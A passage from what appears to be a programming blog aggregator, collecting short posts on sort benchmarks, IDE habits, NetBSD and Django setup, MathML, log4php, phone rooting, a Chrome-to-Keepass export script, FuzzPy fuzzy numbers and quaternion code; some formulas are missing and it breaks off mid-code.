C. Python (3.2): My bit map sort on the random integers
D. Python (3.2): Python’s built-in sort on the random integers

Here were the results:

A. Ruby (my bit map sort, with cheating via a max value): 1.66 seconds
B. Ruby (built-in sort): 1.68 seconds
C. Python (my bit map sort, with cheating via a max value): 2.91 seconds
D. Python (built-in sort): 3.19 seconds

There is a remarkable difference between Python and Ruby in terms of speed/overhead.

(Note: After I ran the initial benchmarks, by refactoring my bit map sort to fix an inefficiency in the bitmap initialization, I was able to bring the Ruby version down to an execution time of 1.38 seconds and the Python version down to 2.77 seconds. I’ve posted the source for the python version and the ruby version.)

Here are some good programming thoughts from Beautiful Code (edited by Andy Oram and Greg Wilson, O’Reilly).

On Elegance vs. Performance Trade-offs

“[I]t’s much easier to make beautiful-but-slow code fast than it is to make fast-but-ugly code beautiful” – Rusty Harold (author, former professor)

Defining Beauty

“Code is typically considered beautiful if it does what it’s supposed to do with unique elegance and economy.” – Alberto Savoia (Google)

On Testing

“Generally speaking, the main purpose of tests is to instill, reinforce, or reconfirm our confidence that the code works properly and efficiently.” – Alberto Savoia (Google)

Recently I’ve went from almost exclusively programming in Python with Gvim as my IDE to, while still using Python/Vim here and there, mainly developing with Java and IntelliJ at work.

When I’ve went  back and forth between Python/Vim and Java/IntelliJ in the last couple of weeks, I’ve noticed some interesting things happening.

Here are differences that have tripped me up:

• When I switch over to the Python/Vim, I find myself not saving because I’m used to IntelliJ’s constant auto save and then I wonder why the most recent change isn’t saved.
• Python’s lack of explicit type definition, while I understand the reasoning behind it and the advantages, seems way more dangerous than it did before (maybe that is a good thing and will make me a better Python programmer).
• IntelliJ makes my Gvim setup, which I thought was nice, seem like junk. I really do like what JetBrains did with IntelliJ.  Vim seems like such a barren world without IntelliJ features like strong version control integration, strong project integration, crazy code competion (with even code completion integration in templating library markup!) and powerful commands like Ctl-B, Ctl-Shift-B, Ctl-Shift-N, Alt-Insert, etc. Refactoring and reworking code seems to often be more work than it should be even with the most advanced Vim setup.
• The fact that I can just write a .py file without a class directly undergirding it feels weird after being immersed in Java.
• It’s HARD to switch between Java and Python style naming conventions. This huge Python fan is starting to see the advantages of Java-style naming when it comes to bigger object hierarchies.

Here’s some things I *thought* would trip me up, but haven’t:

• The semi colon to end a line thing versus no semicolon. Transitioning between these styles has presented  no difficulty. Since the change, I’ve never put a semi-colon in a Python program or vice versa.
• Switching back and forth between the differences in compilation between Java and Python is pretty much a non-issue. Anyways, that sort of stuff should normally be abstracted away from the programmer by an IDE, build tasks, or other deploy processes.
• It’s easy to continue to appreciate Python’s less verbose way of doing things!

I’m currently checking out PyCharm (JetBrain’s Python IDE which is fairly similar to IntelliJ).  Haven’t used it enough to review it, but I will soon. Maybe this is a way I can bridge the two worlds!  Just for the record, I’m by no means giving up on Vim. I still love the POWER and FLEXIBILITY of Vim.  I just want to use the right tool for the right job. And while you can do hard core development with Vim, I’m starting to think it may not be the most efficient tool for the job when compared with IntelliJ/PyCharm (depending, of course, on you are content using the community edition or springing some money for the fully featured product).

In my AIM 2010 paper, I describe how to obtain a projective transformation from the image plane to the laser plane in a line laser 3D range imaging system. With the laser oriented vertically (i.e. perpendicular to the transport direction of the object being scanned), this allows for mapping of image coordinates directly to 3D coordinates.

Specifically, the coordinates of a point in the image map through to yield the coordinates in the laser plane. Then, if is the transport direction offset between profiles, the 3D coordinates of such a point in profile are .

There is an additional step when the angle between the laser and the vertical axis is nonzero, as in the common configuration shown below, where the camera (rather than the laser) is orthogonal to the transport surface.

In this case, knowing the angle is the key. Assuming the transport direction is positive away from the laser side and the object runs toward the laser, a point in the image maps to 3D coordinates , where and are found as before.

I have a feeling that it is possible to derive from . More formally, given the matrix representation of a projective transformation between two planes and , and supposing is the line of intersection of and , what is the angle between vectors and lying, respectively, in and and perpendicular to ?

I have been reading some user experience books lately. While doing so, I came across this gem:

The ceramics teacher announced on opening day that he was dividing the class into two groups. All those on theleft side of the studio, he said, would be graded solely on the quantity of work they produced, all those on the rightsolely on its quality. His procedure was simple: on the final day of class he would bring in his bathroom scalesand weigh the work of the “quantity” group: fifty pounds of pots rated an “A”, forty pounds a “B”, and so on. Thosebeing graded on “quality,” however, needed to produce only one pot—albeit a perfect one—to get an “A.” Well,came grading time and a curious fact emerged: the works of highest quality were all produced by the group beinggraded for quantity. It seems that while the “quantity” group was busily churning out piles of work—and learningfrom their mistakes—the “quality” group had sat theorizing about perfection, and in the end had little more toshow for their efforts than grandiose theories and a pile of dead clay. (Bayles & Orland 2001; p. 29)

Getting adjusted to Java development within IntelliJ IDEA has been interesting. It’s a GREAT development environment.

I’m using Community Edition 10.0.3

Here are some quick notes of some commands and features I’ve found useful:

• To enable or disable a plugin: File, Other Settings, Configure Plugins
• Get a plugin from the repository (for example, get the Foo plugin): File, Settings, Plugins, [wait for it to download the full list], Available tab, right-click “Foo”, select “Download and Install”, and then press”Yes”
• Change which SDK your project uses: Right click project, Open Module Settings, Project, select it in Project SDK section
• Attach a jar file or jar directory to your project: Right click project, Open Module Settings, Dependencies Tab, Add, Library, and then either “Attach Classes” or “Attach Jar Directories”
• Run your code (Keyboard Shortcut): Shift, F10
• Go to Settings (Keyboard Shortcut): Ctl, Alt, S
• Module Settings (Keyboard Shortcut): F4 (when in module)
• Find usages of something (Keyboard Shortcut): Alt, F7 (while on it)
• Collapse/Expand a method (Keyboard shortcut): Ctl, Numpad + and Ctl, Numpad -
• Go to Type declaration (Keyboard shortcut): Ctl, Shift, B

• I overcome the “shared memory segment” error I encountered earlier using postgre’s initdb by tweaking shared_buffers and max_connections in postgresql. This is just a staging install, so I could take those settings way down.
• I then used pkg_add to install subversion, openjdk7
• I set JAVA_HOME:
  • export JAVA_HOME=/usr/pkg/java/openjdk7/bin/
  • export JAVA_HOME

Now I’ve continued, and done the following.

• Used pkg_add to install ruby19-rails, wget, links, vsftpd, django, south, and postgresql
• Copied /usr/pkg/share/examples/rc.d/vsftpd to /etc/rc.d/vsftpd
• Copied /usr/pkg/share/examples/rc.d/pgsql to /etc/rc.d/pgsql
• Added vsftpd=YES and pgsql=YES to /etc/rc.conf
• Then I went to initialize the postgres with initdb, ie:
  • useradd -m postgres
  • passwd postgres
  • mkdir /usr/local/pgsql /usr/local/pgsql/var
  • chown -R postgres:users /usr/local/pgsql
  • su postgres
  • initdb -D /usr/local/pgsql/var

At this point, running initdb failed complaining it can’t create a “shared memory segment”. “This error usually means that PostgreSQL’s request for a shared memory segment exceeds available memory or swap space.

I ran out of time this morning and have not had an opportunity to address this yet.

Recently I deployed a new staging environment on my home computer. I decided to use NetBSD 5.1 (for the i386 architecture) running on Virtual Box on my desktop.

Some randomish notes:

• I decided to use blowfish for the user passwords
• I added a non-root user and I changed the hostname to “hayek” in /etc/rc.conf
• I want SSHD started by default, so I put sshd=YES into /etc/rc.conf
• In order to get NetBSD’s package system pkgsrc going, I had to enter the following into my shell
  • export PKG_PATH=”http://ftp.NetBSD.org/pub/pkgsrc/packages/NetBSD/i386/5.1/All”
  • export PKG_PATH
• I then used pkg_add to install nginx and added a couple lines to /etc/newsyslong.conf as suggested by pkg_add
• I then had to enable nginx in /etc/rc.conf and copy /usr/pkg/share/examples/rc.d/nginx to /etc/rc.d/nginx
• I also used pkg_add to install python (2.7.1) vim, ruby (1.9.2p180), mysql-client, mysql-server (5.1.56)
• Then I set the mysql root user password with /usr/pkg/bin/mysql_secure_installation (although it alternatively if I had more patience, I could have been set directly via mysqladmin)
• I then had to enable mysql in /etc/rc.conf and copy /usr/pkg/share/examples/rc.d/mysql to /etc/rc.d/mysql
• To be continued…

Anyways, this really isn’t anything out of the ordinary, just thought I’d share.

This is a start, I’m not promising this list is complete!

Networking

• Firefox 4
• OpenSSH
• OpenVPN
• TightVNC
• FileZilla
• putty
• Apache
• nginx

Text Editors

• vim – Calling it a “text editor” is an understatement (in case you are interested, check out my vimrc file)

Graphics

• Gimp – GNU Image Manipulation Program

Database Development

• MySQL, PostgreSQL, SQLite, MongoDB
• sqlite-manager – A really, really handy SQLite front-end as a Firefox extension
• HeidiSQL – My prefered GUI MySQL front-end

Languages / Platforms

• Python
• Django
• Ruby
• Zope

Android Apps

• DoggCatcher – excellent audio/podcast manager
• Google Reader/Places/Maps/Talk
• Dropbox
• Amazon Kindle
• SL4A / Python for Android (Python on the android!)
• gh4a (Git Hub for the Android)
• Droidstack (for the stack sites, like stackoverflow)
• Urban Spoon
• GasBuddy
• Olivetree Bible Reader
• ESV Bible App
• The Weather Channel
• iBirdLite
• Traffic Jam (game)

Web Services/Apps

• Google Mail/Reader/Maps/etc.
• (ok I’ll say Facebook)
• GitHub
• StackOverflow
• Flickr
• LinkedIn
• BaseCamp
• WordPress
• Pintrest – Ok, this is my wife’s toy
• Kijiji – Classifieds
• Craigslist – Classifieds
• Jslint – Lint for JavaScript (as a web service)
• w3cvalidator – Validate your html!

One of the first stumbling blocks that I came across as I’ve been learning Django (a Python web framework) was when I tried to do some inheritance with my models in app/models.py.  It had to do with abstract super classes.

Intuitively, I assumed that Django would take super classes and figure out how they worked and ignore the abstract super (or base) classes persay and  generate the SQL for their sub (or derived) classes by properly negotiating the inheritance.

So I went ahead and did something like this:

class super_class(models.Model):

>>> field1 = models.BooleanField()

class sub_class(super_class)

>>>  field2 = models.BooleanField()

I was wrong. It generated the SQL tables for all of the classes, including the abstract super classes, which technically could be made to work, but is certainly not what I wanted.  While it isn’t very apparent in an example with just two models, it introduces too much complexity in the database design since it makes a table relationship for every inheritance.  We want tables for concrete super classes but not abstract ones.

So, on to my next intuition. I assumed that if I made my super class not inherit models.Model and made the sub class use multiple inheritance and inherit models.Model and the sub class, this would all work.  Seemed to make sense to me at least.  So, I did something like this:

class super_class():

>>> field1 = models.BooleanField()

class sub_class(model.Models, super_class)

>>>  field2 = models.BooleanField()

Again, I was wrong. While last time the result was convoluted and inefficient, this time the result was worse and clearly crippled. While the correct tables were displayed (ie. the super classes didn’t appear as a table), the fields from the Super Class (represented in my snippet represented by “field1″) were missing. I assumed that, perhaps, the model for the sub class would get “field 1″ even though the super class was not inheriting model.Models.  I was wrong and stuck.

With some assistance from Michal Petrucha over at django-users, I was able to learn that I was indeed missing something.

In order to make what I was doing, I had to set a property within a Meta class embedded in my super class. Like so:

class super_class(models.Model):

>>> field1 = models.BooleanField()

>>> class Meta:

>>> >>> abstract = True

class SubClass(SuperClass)

>>>  field2 = models.BooleanField()

With this little modification, everything works as expected. I have my abstract super classes and sub classes, and the relationship between them works as I would expect. Abstract super classes  propagate their properties to the SQL tables of their sub classes, but don’t actually show up as a table of their own.

Thank you Django-Users and especially Michal in helping me to further my Django understanding!

I rarely speak about technical/programming things on this blog, but you may see that changing a bit.  Sometimes I find I don’t need a blog as an outlook to talk about technical things, as has been the case for years, and so then I blog on other things. And at other times, it is sort of nice to talk about my technical interests!

I’ve joined GitHub and just making some really quick perusals of it. It’s a really neat community. The easiest way to describe it is by the motto “social coding”.

So far my contributions have been limited to Gists, so no repository hacking yet (although technically a gist has its own little repository). What I’ve posted are basically old Python code snippets that I found laying around on my usb hd from back in the day. That’s “old” with a capital O.  Nothing close to profound, elegant, or significant.   If there was such a category, it would probably be filed as Ancient Throw-Away Code Snippets That Nobody Will Care About.

Here they are:

gist: 866208 A Demonstration of how to use a wxPython “Notebook” with panels (WARNING: old code)

gist: 862171 An incomplete experiment with building calendar functionality with the Python icalendar module

gist: 862159 Old code generating txt list of contents of a collection of zip files — shows zipfile module

gist: 861061 Some throwaway code I used to demonstrate the IDEA cipher with the PyCrypto library

gist: 861057 Some throwaway code I used to demonstrate the RC5 cipher with the PyCrypto library

gist: 861053 Some throwaway code I used to demonstrate the DES3 cipher with the PyCrypto library

gist: 861040 Some throwaway code I used to demonstrate the DES cipher with the PyCrypto library

gist: 861037 Some throwaway code I used to demonstrate the blowfish cipher with the PyCrypto library

gist: 861036 Some throwaway code I used to demonstrate generating hashes with the PyCrypto library

gist: 861011 Python Anagram Fetcher (WARNING: obsolete code)

gist: 860797 SermonAudioParser – A throwaway demo of using UniversalFeedParser to do some basic searches on the SermonAudio.com feed

gist: 866207 A sample Python StringValidator class (warning: OLD CODE)

I've added quite a bit of functionality to my rpg since my last blog entry. line of sight, lighting areas, lightsource ranges, and many other things.
Rather than plugging up my blog, I've decided to post my changes / additions / etc to my forum.
http://forums.sandmines.org/viewtopic.php?f=8&t=3 is the url to the thread.

http://images.sandmines.org/game_img.jpg is the latest image which happens to be inside of a dungeon.

I have been working on a few projects which require a landing page over the past couple of months, and this has come to the forefront of my thoughts more recently. As a Startup Weekend alumnus, I was pretty excited to see that launchrock was fully launched and gaining quite a bit of traction. One problem, though, is that I would have to sign up for each project and then promote the links. I don’t like to post too many links on my Twitter and/or Facebook accounts, so I decided against this. If you’re not familiar with the concept, here is an excerpt from the description on the Github repo:

When a user submits their e-mail address, it will immediately be recorded to the
local database. The user will then be shown "sharing" icons from Facebook and
Twitter. Each successful click or referral will be recorded to the database for
that user. This makes it easier for you to allow earlier access to people who are
driving traffic to your site.

The next route was to implement something similar, which I did over the past couple of days. The result is viral-landing-page (very original name, I know), which can be found in my Github repositories immediately. Viral-landing-page was written in Ruby on Rail because, well, I love the framework. For Javascript, I chose jQuery for similar reasons.

Viral-landing-page far from polished, but it should be good enough to begin using immediately. I chose to license it under the BSD open source license, which is quite permissive. While it isn’t required, I’d like to know who is using this software (and early access to your startup =D). You can comment on this blog post, or contact me via any other methods. I will be actively adding features (maybe an admin viewer) as I use the project more and more for my own needs. Feel free to fork and push back any changes!

Well, its my third day in, and my rpg is maturing slowly.

I've added a character creation dialog http://images.sandmines.org/game_gen.jpg. race / class descriptions are read in and parsed from a simple text file. dice values such as '3d4' can be specified.

I've also added a simple game dev menu dialog. http://images.sandmines.org/game_dev.jpg. It just lets me hide and show the small version of the map http://images.sandmines.org/game_smallmap.jpg. It also has a few test features such as not taking any damage and killing monsters fast.

read more

Well I started my basic rpg yesterday, and am happy to say it is coming along!!

http://images.sandmines.org/game.jpg

is a screenshot.

Its a simple tile-based, turn-based game (getting ideas from zangband).

it generates content dynamically (or at least it will, for now, it just draws random blocks of images :) )

it allows targetting by pressing tab and it will cycle through the near monsters.

it has an action bar for your attacks, etc.

it draws a little 'hit' image (that stays for 400ms for now) on a monster when you hit it.

read more

A Lévy flight is a kind of random walk, and supposedly it looks like the paths sharks follow when hunting. Basically you get a bunch of points near one locale then a jump to a new locale. It must've been mentioned on Numb3rs at some point because I read a little more about it and wasn't satisfied with the pictures on Wikipedia. So I wrote a little visualization with PyGame. I borrowed heavily from the stars.py example that comes with PyGame but the whole thing only took 60 lines. Have a look, I put it up on Google Code.

Every math class I took used an arrow like ⇀ over a variable name to denote a vector. But a lot of books use a really heavy bold to indicate a vector instead. I think it's because of the difficulty of printing a book with special symbols all over the place. Luckily now we have text shown on screens and easy composition tools so that's not an issue today and kids are taught how to put a "Rightwards Harpoon With Barb Upwards" over letters on the second day of keyboarding class. What? You were sick that day? Here, I'll explain.

Okay, it's not that easy. If only U+034F COMBINING GRAPHEME JOINER joined graphemes (which it does not). Unicode doesn't cover the case of generically putting one glyph over another, I'm not sure exactly why, but it sounds like what I want might be considered a Presentation Form. Too bad, I wish basic math notation was part of plain text but it's not. So we need a markup language.

MathML is the XML language that's built for writing stuff like this and up until now simple MathML examples have evaded me. But today I'm going to put a Rightwards Harpoon With Barb Upwards over a letter, like any high school student typing their physics homework should be able to do. Luckily, like SVG, MathML is being retrofitted into html5 and I have the lucky happenstance of writing this post in Firefox 4 beta 8, which renders MathML in html5. Other browsers may barf.

MathML has a presentational and content markup. It looks like the content markup is about calculating things and letting machines know they can interpret the MathML expression. That's not what I'm after today, I'm not going to make a mathematical expression, just one statement. In the presentational markup it quickly becomes clear that the mrow element does a lot of work and mo is the "magic operator" element (I'm sure that's not what it stands for but it certainly does seem to do layout by magic).

So the situation is this: it looks like we need an mrow containing the vector symbol, ⇀, and my variable name. After a little poking around I came up with this markup:

The Unicode character ⇀ (which is &#x21C0) should act the same as a named entity. I have an XML-brain though so I jumped into the Operator Dictionary and found the named entity that sounds like what I want: &RightVector;. The Operator Dictionary looks like an essential component of getting what an <mo> element might do. Using the entity is also pretty clear and may lead to valid XML if that's something you need. And here's what it looks like if your browser renders the markup above:

v &RightVector

(this looks perfect to me in my current browser).

Getting this MathML that renders left me with one more question. If I just have the vector symbol in an mtext element, what happens if I want the arrow over-top some compound expression like uv (though I don't think I've ever seen this in a text book). Here it is: uv &RightVector , and this renders exactly as I'd hope.

log4php was pretty easy to get started with but I think it's made for people who already understand Log4J. The configuration page is pretty clear for a basic set up but there are a ton of more advanced options.

In my case I've been using something like

And in my log4php.properties file I have a line that I think defines the logger named Foo (which I use exclusively in the class named Foo).

I have other loggers defined in there as well, including a root logger. And things seem to work. Mostly. I haven't been able to shut off logging from a class, which I think I should be able to do with a line like

This part doesn't behave as I'd expect. Outside of that though, I've used log4php to get a lot of diagnostic info. It was also really easy to spit out log lines over plain TCP/IP using LoggerAppenderSocket and catch it on another machine with netcat (nc).

Overall using log4php has been well worth the little time it took to figure it out. One of these days I'll sort out that last kink & figure out how to toggle logging by class too.

Now that I'm using my Nexus S the HTC Magic I was using before feels really slow. I decided that instead of just doing a factory reset and giving it away I'd try putting CyanogenMod on it. I don't know a lot about it but I'd heard CyanogenMod is good at scaling down for slower devices. It wasn't simple, and I'd already unlocked my device previously. What follows are just a few notes in case I have to do it again. This is what worked for me to get CyanogenMod 6.1 on this phone, there's an HTC Ion here that I might need to do the same for some day.

Most of the process is described step-by-step on the CyanogenMod wiki page for the Magic.

I was concerned about backing up my Google apps (since I'd heard about the separate licensing), I tried Astro and another backup tool but couldn't see them. As it turns out, the Google apps didn't have to be backed up, there's a package to flash them later on.

I booted the phone to see which model it was by holding back & power together. This showed it was an HTC Magic 32B, RADIO-2.22.27.08, etc. After that I turned off syncing and did a factory reset, since I was giving away the phone and didn't know what would come next (though I think that was unnecessary). Part of the process to root the phone uses an exploit on an older version of Android, so basically what happens is you put the exploitable version on, then boot and install FlashRec and take advantage of the exploit to install the modded firmware. This installs an older version of CyanogenMod and then you're able to upgrade to the latest. At least I think that's what happened.

Installing FlashRec from the SD Card needs an app that can do that installation, like Quick App Install. Unfortunately this introduced one extra annoyance for me. My phone came from T-Mobile and I use a T-Mobile SIM in it. I was modding it in Windsor (Canada) so I had no data plan and the old version of Android needs cell data to get through the start up process (just for signing in to Google). Luckily someone in the house had a Rogers SIM I could borrow to get the job done (of course I still had to manually enter the APN info).

One other confusing bit was about the recovery image. I wasn't able to replace recovery.img with Amon Ra. If I'd used adb I probably could have figured that out. The new user on the phone probably won't be swapping firmware a lot so I think the unmaintained CyanogenMod recovery image will be okay. The recovery image is the software that puts up the screen shown when the phone is booted into fastboot (holding down back & power on my phone). The recovery image is what I used to install other firmware from the SD card (like the Google apps and new kernel).

After modding the phone it booted up fine and looked okay but had a slight green shade to everything. This is apparently a known issue and a current workaround is to update the kernel, there's a build for the Magic 32B linked to from this post.

So that's my addendum to what's already out there; don't take it as a guide or advice. I did all this using only stuff I found on the web - while I do work for Google, I don't work on Android.

I have recently been complementing the power of Keepass with Dropbox, which allows me to share and access my logins and passwords anywhere with an internet connection while still storing them in a secure manner.  Thanks to the KeepassDroid application, this even includes my phone.

Since I began using Keepass, I have been looking for a way to import those pesky web application passwords into Keepass.  Since I have a different login and password for essentially every site I visit, managing and remembering these has been a huge problem in the past. With multiple hundreds of unique login/password combinations, doing this by hand was not an option.  This morning the problem came to a head and I decided to do something about it.

Since Keepass allows importation from it’s own XML format, the building blocks for an export/import were already there. I have been learning Ruby lately, so I decided I would whip up a quick script to export my Chrome passwords.

After a bit of hacking, I finished chrome2keepass this morning and you can find it at its Github Repository.

Lucky me, I got a Nexus S on Friday. Very nice upgrade from my previous phone, absolutely loving the speed and playing with all the toys. I was surprised it didn't have a microSD slot but I've never used more than a couple GB and the Nexus S does have 16GB storage so it's not likely to be a problem. So far I've used the front-facing camera for a quick self-portrait and the regular (rear-facing) one just once.

I've blown a lot of time the past couple days on Angry Birds and a few other games on the phone. Really looking forward to seeing Dungeon Defenders come out next week. I heard the phrase "tower defense online role-playing game" in the preview video. Maybe I can play it on the flight to Windsor. If it really does need the 400MB they claim then I could fill up that storage space before the phone gets old.

The portable WiFi hotspot came in handy at the coffee shop. They offer WiFi but it's unsecured. So instead of using coffee shop WiFi, I shared my phone's data connection using the portable WiFi hotspot and WPA2 for a secure connection. Of course that means my data goes over 3G and I'm relying on whatever security model 3G uses but it's a step up from open WiFi. Maybe tethering would have worked as well but WiFi is easier to set up and understand for me.

I'm also curious about the NFC reader in the Nexus S and whether it's possible to get a hold of some NFC tags somewhere. As I understand it, NFC tags should be small and easy to embed in stickers & posters. I'm hoping they can also be found for cheap soon at Frye's or Think Geek. Of course I expect NFC support to show up any day in the Android Tricorder.

XML is a nice syntax for some kinds of data. It's also a nice specific set of rules for data exchange between heterogeneous systems. But XML needs to be customized to the type of data that you're using it for. It serves as a wrapper around some other data. And once you get the characters of that data out, you still have some other rules to interpret it.

Let me give a concrete example. In SVG you have path elements. The path has a d attribute. The value of the d attribute is a string of text. The encoding rules for that text are all clearly defined by XML so that disparate computer systems can set and get the value unambiguously. But once you get the value of the d attribute, you have to interpret it according to the rules of the SVG specification. The d attribute describes a path using characters that signify movement of a pen in arcs and lines. Could this have been more XML-y? Sure. The SVG WG could have (and people have suggested) used a syntax where each subpath is an element so the lines (m, l, v, h, etc) become XML elements themselves.

Another concrete example is the meaning of the title element in an RSS feed. The content could be pretty wide open, but the rules for what can go in there are up to RSS, not XML.

So what am I getting at? Just nested syntax I guess. Nesting syntax allows us to do things like mix Javascript with HTML and still figure out what a browser should do with the resulting compound document. SQL statements have been nested in strings of C++ programs forever, and there are plenty of other examples of parser A handing off some stuff to parser B. When we nest syntax B in syntax A this way we're using a set of rules to package up some text written in one language using a construct of another language. So strings in C++ can be any text and guess what, all of SQL is text. So that works.

I think I'll stick to talking about SQL in C++ since it's less likely to spark religious wars. But the concepts apply to any other syntax B packed up in a construct from syntax A.

Problems come up really quick when statement B (written in syntax B) happens across some disallowed construct from syntax A. Suppose you want to search for text that has a quote (") in it using an SQL statement in your C++ code. "Escape it!" You all shout in unison. Well, almost all of you. That one guy smirking in the back is thinking "C++ sucks. If this were Javascript I could use single quotes around the outer statement and a quote character would be fine." Thing is, there are only a handful of approaches to strings.
1. Out of band character. The " or ' that delimits the text. Using the oob character in the string requires escaping.
2. Start/end sequence. Like <![CDATA[]]> (bet that one gets munged by your feed reader). In this case, sometimes there's just no allowance for using the sequence in a string, instead you need to make two strings.
3. String plus length. Length, like in bytes. And omfg we can't count bytes! So I don't know of modern languages that let you approach setting that number yourself, though there are languages that use it internally for string representation.

I don't think we've tried option 3 enough. Maybe it's because I'm not afraid of binary, hex editors, and things that aren't text. But if I remember right (and I'm not going to look this up in case I'm wrong - that would spoil my point) this is closer to what useful network stacks do. A TCP packet has a field for the length of the IP packet it's delivering. This speeds up operations for any points that speak TCP between the sender and the final receiver since the data bytes don't need to be read one-by-one looking for oob characters but it also means there's no ambiguity about whether the payload data is escaped properly. Since the TCP layer doesn't read the content that also reduces the potential for bugs in processing escaped data (and also surface area for exploits).

Say we have statement B in syntax B which contains statement A in syntax A. Instead of treating anything written in syntax A as an arbitrary chunk of text, maybe statement A is a wrapped up foreign syntax package - with the network stack analogy syntax A is IP and syntax B is TCP. That foreign syntax package would be treated as binary and stored as some data at an offset with a given length in bytes. The syntax B parser then passes the foreign syntax package as binary with it's length to the syntax A parser. In the earlier example, syntax A is SQL and syntax B is C++. In general we could be talking about a Javascript VM, database engine, or whatever little parser figures out the content of the d attribute from that SVG file.

It seems that the Windsor/Metro Detroit area is finally getting some startup assistance love.

No great incubator yet, but we do have a few upcoming events in the area:

• Windsor Startup Drinks will be taking place next week, November 10th, in downtown Windsor.  It seems to be hosted by the Softech Alliance and SIFE Windsor.
• Detroit Startup Weekend will be held at TechTown at my alma mater, Wayne State University, next weekend (November 12th-14th, 2010).

This is a great chance for local startup-minded people to network and, as I like to say, increase their geek circle.  If you are one of these people, get out there and get involved.

In the first part of this post, we explored the foundations of fuzzy sets and fuzzy graphs, and discussed how you can use FuzzPy, a general fuzzy mathematics library for python, to work with these types. Today, we will expand a bit on those foundations by learning about fuzzy numbers, and creating visualizations with FuzzPy.

Fuzzy Numbers

Think of a fuzzy number as a number whose actual value is uncertain. We do not have its value, but we have a set of estimations, each with an associated degree of likelihood, or grade. If you remember the definition of a fuzzy set, you will remember that the structure of a fuzzy set is very similar to what I just described, so it only makes sense to use a fuzzy set to represent what is known about a fuzzy number.

Effectively, a fuzzy number is a fuzzy subset of the real line , where the value of each member of the set is an estimated value of the fuzzy number, and the -value of the member is its grade.

Triangular Fuzzy Number

One can represent the estimated values as well as their associated -values in the form of a Cartesian coordinate system, with the Y-axis representing -values, and the X-axis representing estimated values.
We can then see that certain patterns emerge in the shape of the visualization, and these patterns are used to distinguish between the different types of fuzzy numbers:

• Polygonal sets are represented by an arbitrary set of segments on the plane.
• Trapezoidal sets contain two kernels (estimations whose -value is exactly 1.0), and two X-intercepts.
• Triangular sets contain exactly one kernel, and two X-intercepts
• Gaussian sets have -values determined by a normal distribution, thus providing a smoother distribution.

There are a few additional types as well, but these are the four basic types, and are all supported out of the box by FuzzPy.

Because the points of interest in each type are different, instanciating a new FuzzyNumber in FuzzPy is done differently depending on the type. Let’s instantiate objects for each of these types using FuzzPy, and we’ll play a bit with these objects in a moment. Make sure you have FuzzPy installed first (easy_install -U fuzzpy) and save the following code in fuzzynums.py:

import fuzz
 
# Instantiating a PolynomialFuzzyNumber is done by providing
# a list of (value, mu) tuple to the constructor:
polygonal = [fuzz.PolygonalFuzzyNumber([(0.0, 0.0), \
    (0.25, 1.0), (1.0, 0.5), (1.3, 1.0), (1.8, 0.0)])]
 
polygonal += [fuzz.PolygonalFuzzyNumber([(0.0, 0.0), \
    (1.0, 0.5), (3.0, 1.0), (4.0, 1.0), (6.0, 0.0)])]
 
# A trapezoidal needs to be given a tuple containing the values
# of the kernels (mu = 1.0) and a tuple containing the values
# of the support (mu = 0.0)
trapezoidal = [fuzz.TrapezoidalFuzzyNumber((1.0, 2.0), \
    (0.3, 3.0))]
 
trapezoidal += [fuzz.TrapezoidalFuzzyNumber((1.0, 6.0), \
    (0.5, 10.0))]
 
# A triangular set needs to be provided the value of the
# kernel, and a tuple containing the values of the support.
triangular = [fuzz.TriangularFuzzyNumber(1.0, (0.0, 3.0))]
triangular += [fuzz.TriangularFuzzyNumber(4.0, (0.0, 4.5))]
 
# Gaussian fuzzy sets simply need the mean, and standard
# derivation for the estimated value.
gaussian = [fuzz.GaussianFuzzyNumber(1.0, 0.2)]
gaussian += [fuzz.GaussianFuzzyNumber(12.0, 1.0)]

We can now fire up the python interpreter and work with our objects:

>>> # Polygonal Union:
... print polygonal[0] | polygonal[1]
PolygonalFuzzyNumber: kernel [(0.25, 0.25), (1.3, 1.3), \
(3.0, 4.0)], support [(0.0, 6.0)]
 
>>> # Polygonal Intersection:
... print polygonal[0] & polygonal[1]
PolygonalFuzzyNumber: kernel [], support [(0.0, 6.0)]
 
>>> # Trapezoidal Addition:
... print trapezoidal[0] + trapezoidal[1]
TrapezoidalFuzzyNumber: kernel (2.0, 8.0), support (0.8000000\
0000000004, 13.0)
 
>>> # Gaussian Addition
... print gaussian[0] + gaussian[1]
GaussianFuzzyNumber: kernel (13.0, 13.0), support (4.85663149\
07018668, 21.143368509298135)

The class inheritance chain for FuzzPy’s FuzzyNumber derived classes looks like this:

Fuzzy Number Class Inheritance

Visualizations

FuzzPy ships with a small visualization framework that is able to create visualizations for almost all FuzzPy types, and encode them in a variety of formats. In most cases, creating and storing a visualization is a trivial operation:

from fuzzynums import *
from fuzz.visualization import VisManager
 
gaussian = fuzz.GaussianFuzzyNumber(1.0, 0.2)
plugin = VisManager.create_backend(gaussian)
(vis_format, vis_data) = plugin.visualize()
 
with (open("visualization.%s" % vis_format, "wb")) as fp:
    fp.write(vis_data)

In this example, we passed our FuzzyNumber instance to the VisManager.create_backend() method, which is a plugin factory method, and it returned the first plugin it could find that can be used to create a visualization of our FuzzyNumber.

The plugin’s visualize() method was called, and returned a tuple containing the file format of the visualization, and its payload. We then created a file using the returned format as extension, and stored the payload in that file.

You can also force the VisManager object to use a certain plugin if you do not want to rely on the default plugin picked for the type of object to visualize:

plugin = VisManager.create_backend(gaussian, 'num_gnuplot')

Similarly, a plugin’s visualize() method can accept arguments to customize the final output. For example, the following code would tell the plugin to use the ‘gif’ image format:

(vis_format, vis_data) = plugin.visualize(format="gif")

You will need to have Graphviz installed for graph visualizations, and Gnuplot for fuzzy number visualizations.

Now that you know how to use all the FuzzPy types and how to create visualizations for your data, you can start using FuzzPy in your own project, or get involved in the development process. Check out the project’s GitHub page for more information.

Fuzzy Digraph Visualization

Polygonal Fuzzy Number

Share

Adolphus finally quit messing around and started using a quaternion representation for rotations internally! The quaternion class itself is simple, and conversion to and from rotation matrix and axis-angle representations is fairly straightforward. The magic happens in converting from Euler angles — all twelve valid conventions!

By solving the conversion to quaternion for all twelve possibilities, I managed to squeeze out a pattern that allows me to solve them with a near-minimum of redundant code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

    @staticmethod
    def from_euler(convention, angles):
        def qterm(index):
            bin = lambda x: [(x >> 2) % 2, (x >> 1) % 2, x % 2]
            return copysign(1, index) * reduce(lambda a, b: a * b,
                [(bit and sin or cos)(angles[i] / 2.0) \
                for i, bit in enumerate(bin(abs(index)))])
        # TODO: can these be generated from the convention?
        eulerquat = {'xyx': [0, -5, 1, 4, 2, 7, 3, -6],
                     'xyz': [0, -7, 1, 6, 2, -5, 3, 4],
